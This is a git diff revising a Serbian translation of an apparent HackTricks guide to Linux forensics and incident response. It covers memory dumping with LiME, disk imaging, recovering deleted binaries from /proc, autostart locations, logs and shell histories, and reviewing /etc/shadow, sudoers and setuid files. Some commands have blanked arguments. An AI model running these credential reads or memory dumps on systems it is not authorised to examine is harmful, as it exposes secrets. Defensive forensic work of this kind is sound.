-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
-## Inicijalno prikupljanje informacija
+## Početno prikupljanje informacija
### Osnovne informacije
-Pre svega, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno uzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB, i izmenite okružne promenljive da biste koristili te binarne fajlove:
+Prvo, preporučuje se da imate neki **USB** sa **dobro poznatim binarnim datotekama i bibliotekama** (možete jednostavno preuzeti ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB i modifikujte env varijable da koristite te binarne datoteke:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-Kada ste konfigurisali sistem da koristi dobre i poznate binarne datoteke, možete početi **izvlačiti osnovne informacije**:
+Kada konfigurišete sistem da koristi dobre i poznate binarne datoteke, možete početi sa **ekstrakcijom nekih osnovnih informacija**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Sumnjive informacije
-Prilikom dobijanja osnovnih informacija trebalo bi proveriti čudne stvari kao što su:
+Dok prikupljate osnovne informacije, trebali biste proveriti čudne stvari kao što su:
-- **Root procesi** obično se izvršavaju sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
-- Proverite **registrovane prijave** korisnika bez ljuske unutar `/etc/passwd`
-- Proverite **hash-ove lozinki** unutar `/etc/shadow` za korisnike bez ljuske
+* **Root procesi** obično se pokreću sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
+* Proverite **registrovane prijave** korisnika bez shel-a unutar `/etc/passwd`
+* Proverite **hash-eve lozinke** unutar `/etc/shadow` za korisnike bez shel-a
-### Damp memorije
+### Dump memorije
-Za dobijanje memorije pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
-Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi mašina žrtva.
+Da biste dobili memoriju pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
+Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi žrtvinska mašina.
{% hint style="info" %}
-Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će to izvršiti nekoliko promena na njoj
+Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na žrtvinskoj mašini jer će to napraviti nekoliko promena na njoj
{% endhint %}
Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\
-U drugim slučajevima, morate preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa odgovarajućim kernel headerima. Da biste **dobili tačne kernel headere** mašine žrtve, jednostavno **kopirajte direktorijum** `/lib/modules/` na svoju mašinu, a zatim **kompajlirajte** LiME koristeći ih:
+U drugim slučajevima, potrebno je da preuzmete [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirate ga sa ispravnim kernel header-ima. Da biste **dobili tačne kernel header-e** žrtvinske mašine, možete jednostavno **kopirati direktorijum** `/lib/modules/` na vašu mašinu, a zatim **kompajlirati** LiME koristeći ih:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME podržava 3 **formata**:
-* Sirovi (svaki segment je konkateniran zajedno)
-* Padded (isti kao sirovi, ali sa nulama na desnoj strani)
+* Raw (svaki segment spojeni zajedno)
+* Padded (isto kao raw, ali sa nulama u desnim bitovima)
* Lime (preporučeni format sa metapodacima)
-LiME takođe može biti korišćen za **slanje ispisa putem mreže** umesto čuvanja na sistemu korišćenjem nečega poput: `path=tcp:4444`
+LiME se takođe može koristiti za **slanje dump-a putem mreže** umesto da se čuva na sistemu koristeći nešto poput: `path=tcp:4444`
-### Snimanje diska
+### Disk Imaging
-#### Gašenje
+#### Isključivanje
-Prvo, moraćete **ugasiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da si priušti da isključi.\
-Postoje **2 načina** gašenja sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će dozvoliti **procesima da se završe kao i obično** i **datotečnom sistemu** da se **sinhronizuje**, ali će takođe dozvoliti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti izgubljeno mnogo informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da bilo šta uradi povodom toga. Stoga, ako **sumnjate** da postoji **malver**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač.
+Prvo, potrebno je **isključiti sistem**. Ovo nije uvek opcija jer neki sistemi mogu biti produkcijski serveri koje kompanija ne može priuštiti da isključi.\
+Postoje **2 načina** za isključivanje sistema, **normalno isključivanje** i **"isključi kabl" isključivanje**. Prvi će omogućiti da se **procesi završe kao obično** i da se **fajl sistem** **sinhronizuje**, ali će takođe omogućiti mogućem **malware-u** da **uništi dokaze**. Pristup "isključi kabl" može doneti **neki gubitak informacija** (neće se mnogo informacija izgubiti jer smo već uzeli sliku memorije) i **malware neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malware**, jednostavno izvršite **`sync`** **komandu** na sistemu i isključite kabl.
-#### Pravljenje slike diska
+#### Uzimanje slike diska
-Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim što je povezano sa slučajem**, morate biti sigurni da će biti **montiran samo za čitanje** kako biste izbegli menjanje bilo kakvih informacija.
+Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim vezanim za slučaj**, morate biti sigurni da će biti **montiran kao samo za čitanje** kako biste izbegli modifikaciju bilo kojih informacija.
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -98,9 +99,9 @@ dd if= of= bs=512
dcfldd if= of= bs=512 hash= hashwindow= hashlog=
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
-### Predanaliza slike diska
+### Disk Image pre-analysis
-Kreiranje slike diska bez dodatnih podataka.
+Imaging a disk image with no more data.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -156,36 +157,36 @@ ThisisTheMasterSecret
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Pretraga poznatih Malvera
+## Pretraživanje poznatog Malware-a
-### Modifikovane sistemskih datoteka
+### Izmenjene sistemske datoteke
-Linux nudi alate za osiguravanje integriteta sistemskih komponenti, ključnih za otkrivanje potencijalno problematičnih datoteka.
+Linux nudi alate za osiguranje integriteta sistemskih komponenti, što je ključno za uočavanje potencijalno problematičnih datoteka.
* **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru.
-* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za početnu verifikaciju, zatim `debsums | grep -v "OK$"` (nakon instaliranja `debsums` sa `apt-get install debsums`) da identifikujete bilo kakve probleme.
+* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za inicijalnu verifikaciju, a zatim `debsums | grep -v "OK$"` (nakon instalacije `debsums` sa `apt-get install debsums`) za identifikaciju bilo kakvih problema.
-### Detektori Malvera/Rootkita
+### Detektori Malware-a/Rootkit-a
-Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malvera:
+Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malware-a:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
-## Pretraga instaliranih programa
+## Pretraživanje instaliranih programa
-Da biste efikasno pretraživali instalirane programe na Debian i RedHat sistemima, razmotrite korišćenje sistema logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
+Da biste efikasno pretražili instalirane programe na sistemima Debian i RedHat, razmotrite korišćenje sistemskih logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
-* Za Debian, pregledajte _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija.
-* Korisnici RedHat-a mogu upitati RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi dobili listu instaliranih paketa.
+* Za Debian, proverite _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija.
+* Korisnici RedHat-a mogu upititi RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi prikazali instalirane pakete.
-Da biste otkrili softver instaliran ručno ili van ovih upravljača paketima, istražite direktorijume poput _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte listu direktorijuma sa sistemskim komandama kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, unapređujući tako pretragu svih instaliranih programa.
+Da biste otkrili softver instaliran ručno ili van ovih menadžera paketa, istražite direktorijume kao što su _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte liste direktorijuma sa sistemskim komandama specifičnim za identifikaciju izvršnih datoteka koje nisu povezane sa poznatim paketima, poboljšavajući vašu pretragu za svim instaliranim programima.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -204,22 +205,22 @@ find / -type f -executable | grep
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Obnovite obrisane pokrenute binarne datoteke
+## Oporavak obrisanih pokretnih binarnih datoteka
-Zamislite proces koji je izvršen iz /tmp/exec a zatim obrisan. Moguće je izvući ga
+Zamislite proces koji je izvršen iz /tmp/exec i zatim obrisan. Moguće je izvući ga
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
-## Pregled lokacija automatskog pokretanja
+## Inspekcija lokacija za automatsko pokretanje
-### Planirani zadaci
+### Zakazani zadaci
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
@@ -233,61 +234,61 @@ cat /var/spool/cron/crontabs/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
-### Servisi
+### Usluge
-Putanje gde se zlonamerni softver može instalirati kao servis:
+Putanje gde se zlonamerni softver može instalirati kao usluga:
-* **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje.
-* **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se potonje nalazi u starijim verzijama Linuxa.
-* **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje.
-* Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od varijante Linuxa.
-* **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa.
-* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou.
-* **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana.
-* **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za zlonamerni softver usmeren ka korisniku.
-* **/lib/systemd/system/**: Podrazumevane sistemski fajlovi jedinica koje pružaju instalirani paketi.
+* **/etc/inittab**: Poziva skripte inicijalizacije kao što su rc.sysinit, usmeravajući dalje na skripte za pokretanje.
+* **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje usluga, pri čemu se potonja nalazi u starijim verzijama Linux-a.
+* **/etc/init.d/**: Koristi se u određenim verzijama Linux-a kao što je Debian za čuvanje skripti za pokretanje.
+* Usluge se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od Linux varijante.
+* **/etc/systemd/system**: Direktorijum za skripte menadžera sistema i usluga.
+* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove do usluga koje treba pokrenuti u višekorisničkom režimu.
+* **/usr/local/etc/rc.d/**: Za prilagođene ili usluge trećih strana.
+* **\~/.config/autostart/**: Za automatske aplikacije specifične za korisnika, koje mogu biti skriveno mesto za zlonamerni softver usmeren na korisnike.
+* **/lib/systemd/system/**: Podrazumevane jedinice sistema koje obezbeđuju instalirani paketi.
### Kernel Moduli
-Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i fajlovi od suštinskog značaja za ove module uključuju:
+Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke kritične za ove module uključuju:
-* **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela.
-* **/etc/modprobe.d**: Sadrži konfiguracione fajlove za kontrolu učitavanja modula.
-* **/etc/modprobe** i **/etc/modprobe.conf**: Fajlovi za globalna podešavanja modula.
+* **/lib/modules/$(uname -r)**: Sadrži module za verziju kernel-a koja se trenutno koristi.
+* **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
+* **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalne postavke modula.
-### Ostale Lokacije za Automatsko Pokretanje
+### Druge Lokacije za Automatsko Pokretanje
-Linux koristi različite fajlove za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući zlonamerni softver:
+Linux koristi razne datoteke za automatsko izvršavanje programa prilikom prijavljivanja korisnika, potencijalno skrivajući zlonamerni softver:
-* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom prijave bilo kog korisnika.
-* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Fajlovi specifični za korisnika koji se pokreću prilikom njihove prijave.
-* **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju.
+* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se za bilo koju prijavu korisnika.
+* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave.
+* **/etc/rc.local**: Izvršava se nakon što su sve sistemske usluge pokrenute, označavajući kraj prelaska na višekorisničko okruženje.
-## Pregledajte Logove
+## Istraži Logove
-Linux sistemi prate aktivnosti korisnika i događaje sistema putem različitih log fajlova. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih sigurnosnih incidenata. Ključni log fajlovi uključuju:
+Linux sistemi prate aktivnosti korisnika i događaje sistema kroz razne log datoteke. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih bezbednosnih incidenata. Ključne log datoteke uključuju:
-* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti na nivou sistema.
+* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Zabeležavaju poruke i aktivnosti širom sistema.
* **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
-* Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja.
+* Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih događaja autentifikacije.
* **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
-* **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje servisa povezanih sa email-om.
-* **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja.
-* **/var/log/dmesg**: Drži poruke drajvera uređaja.
-* **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istraživanju sigurnosnih incidenata.
-* **/var/log/cron**: Beleži izvršavanja cron poslova.
-* **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa.
-* **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave.
+* **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje usluga povezanih sa email-om.
+* **/var/log/kern.log**: Čuva poruke kernela, uključujući greške i upozorenja.
+* **/var/log/dmesg**: Sadrži poruke drajvera uređaja.
+* **/var/log/faillog**: Beleži neuspešne pokušaje prijave, pomažući u istragama bezbednosnih proboja.
+* **/var/log/cron**: Beleži izvršenja cron poslova.
+* **/var/log/daemon.log**: Prati aktivnosti pozadinskih usluga.
+* **/var/log/btmp**: Dokumentuje neuspešne pokušaje prijave.
* **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
* **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
-* **/var/log/xferlog**: Zabeležava FTP prenose fajlova.
-* **/var/log/**: Uvek proverite ovde za neočekivane logove.
+* **/var/log/xferlog**: Beleži FTP transfer fajlova.
+* **/var/log/**: Uvek proverite neočekivane logove ovde.
{% hint style="info" %}
-Linux sistemi logove i podsisteme za reviziju mogu biti isključeni ili obrisani u slučaju upada ili zlonamernog softvera. Pošto logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log fajlova, važno je tražiti praznine ili nepravilne unose koji bi mogli biti indikacija brisanja ili manipulacije.
+Linux sistemski logovi i audit pod sistemi mogu biti onemogućeni ili obrisani tokom upada ili incidenta sa zlonamernim softverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom ispitivanja dostupnih log datoteka, važno je tražiti praznine ili neuredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
{% endhint %}
-**Linux čuva istoriju komandi za svakog korisnika**, smeštenu u:
+**Linux održava istoriju komandi za svakog korisnika**, smeštenu u:
* \~/.bash\_history
* \~/.zsh\_history
@@ -295,32 +296,32 @@ Linux sistemi logove i podsisteme za reviziju mogu biti isključeni ili obrisani
* \~/.python\_history
* \~/.\*\_history
-Takođe, komanda `last -Faiwx` pruža listu korisničkih prijava. Proverite je za nepoznate ili neočekivane prijave.
+Pored toga, komanda `last -Faiwx` pruža listu prijava korisnika. Proverite je za nepoznate ili neočekivane prijave.
-Proverite fajlove koji mogu dati dodatne privilegije:
+Proverite datoteke koje mogu dodeliti dodatne privilegije:
-* Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene.
-* Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene.
-* Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
-* Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
+* Pregledajte `/etc/sudoers` za neočekivane privilegije korisnika koje su možda dodeljene.
+* Pregledajte `/etc/sudoers.d/` za neočekivane privilegije korisnika koje su možda dodeljene.
+* Istražite `/etc/groups` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
+* Istražite `/etc/passwd` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
-Neki programi takođe generišu svoje logove:
+Neke aplikacije takođe generišu svoje logove:
-* **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
-* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane fajlove putem Gnome aplikacija.
-* **Firefox/Chrome**: Proverite istoriju pretrage i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
-* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih fajlova i istorije pretrage.
-* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove.
-* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose fajlova koji bi mogli biti neovlašćeni.
-* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti u bazi podataka.
-* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande.
-* **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
+* **SSH**: Istražite _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene veze.
+* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane datoteke putem Gnome aplikacija.
+* **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
+* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, kao što su putanje pristupnih datoteka i istorija pretrage.
+* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke.
+* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za transfer fajlova koji bi mogli biti neovlašćeni.
+* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, potencijalno otkrivajući neovlašćene aktivnosti u bazi podataka.
+* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane datoteke i izvršene komande.
+* **Git**: Istražite _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
### USB Logovi
-[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log fajlove (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja.
+[**usbrip**](https://github.com/snovvcrash/usbrip) je mali komad softvera napisan u čistom Python 3 koji analizira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) za konstruisanje tabela istorije USB događaja.
-Važno je **znati sve USB uređaje koji su korišćeni** i biće korisno ako imate autorizovanu listu USB uređaja kako biste pronašli "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
+Zanimljivo je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate autorizovanu listu USB uređaja da pronađete "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
### Instalacija
```bash
@@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
-Više primera i informacija možete pronaći na github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+Više primera i informacija unutar github-a: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
-
+
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** podržane najnaprednijim alatima zajednice.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima** zajednice.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Pregled Korisničkih Računa i Aktivnosti Prijavljivanja
+## Pregled korisničkih naloga i aktivnosti prijavljivanja
-Ispitajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neobična imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade na sudo.\
-Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije date korisnicima.\
-Na kraju, potražite naloge bez **šifri** ili sa **lako pogodnim** šiframa.
+Istražite _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne logove** za neobične nazive ili naloge koji su kreirani i ili korišćeni u bliskoj blizini poznatih neovlašćenih događaja. Takođe, proverite moguće sudo brute-force napade.\
+Pored toga, proverite datoteke kao što su _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije dodeljene korisnicima.\
+Na kraju, potražite naloge sa **bez lozinki** ili **lako pogađanim** lozinkama.
-## Ispitivanje Fajl Sistema
+## Istraživanje datotečnog sistema
-### Analiza Struktura Fajl Sistema u Istraživanju Malvera
+### Analiza struktura datotečnog sistema u istraživanju malvera
-Prilikom istraživanja incidenata sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje otežavaju ovu analizu, poput menjanja vremena datoteka ili izbegavanja fajl sistema za skladištenje podataka.
+Kada istražujete incidente sa malverom, struktura datotečnog sistema je ključni izvor informacija, otkrivajući kako redosled događaja, tako i sadržaj malvera. Međutim, autori malvera razvijaju tehnike za ometanje ove analize, kao što su modifikovanje vremenskih oznaka datoteka ili izbegavanje datotečnog sistema za skladištenje podataka.
-Da biste se suprotstavili ovim anti-forenzičkim metodama, bitno je:
+Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je:
-* **Sprovesti temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji.
-* **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu uključivati skripte ljuske ili PHP skripte korišćene od strane napadača.
-* **Ispitati `/dev` za atipične fajlove**, pošto tradicionalno sadrži specijalne fajlove, ali može sadržati fajlove povezane sa malverom.
-* **Tražiti skrivene fajlove ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji bi mogli sakriti zlonamerni sadržaj.
-* **Identifikovati setuid root fajlove** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim dozvolama, koje napadači mogu zloupotrebiti.
-* **Pregledati vremena brisanja** u inode tabelama kako biste primetili masovna brisanja fajlova, što može ukazivati na prisustvo rootkita ili trojanaca.
-* **Ispitati uzastopne inode** za bliske zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno.
-* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer bi ovi fajlovi mogli biti promenjeni od strane malvera.
+* **Sprovesti temeljnu analizu vremenske linije** koristeći alate kao što su **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskim linijama.
+* **Istražiti neočekivane skripte** u sistemskom $PATH, koje mogu uključivati shell ili PHP skripte koje koriste napadači.
+* **Istražiti `/dev` za atipične datoteke**, jer tradicionalno sadrži specijalne datoteke, ali može sadržati i datoteke povezane sa malverom.
+* **Pretražiti skrivene datoteke ili direktorijume** sa nazivima kao što su ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koje bi mogle skrivati zlonamerni sadržaj.
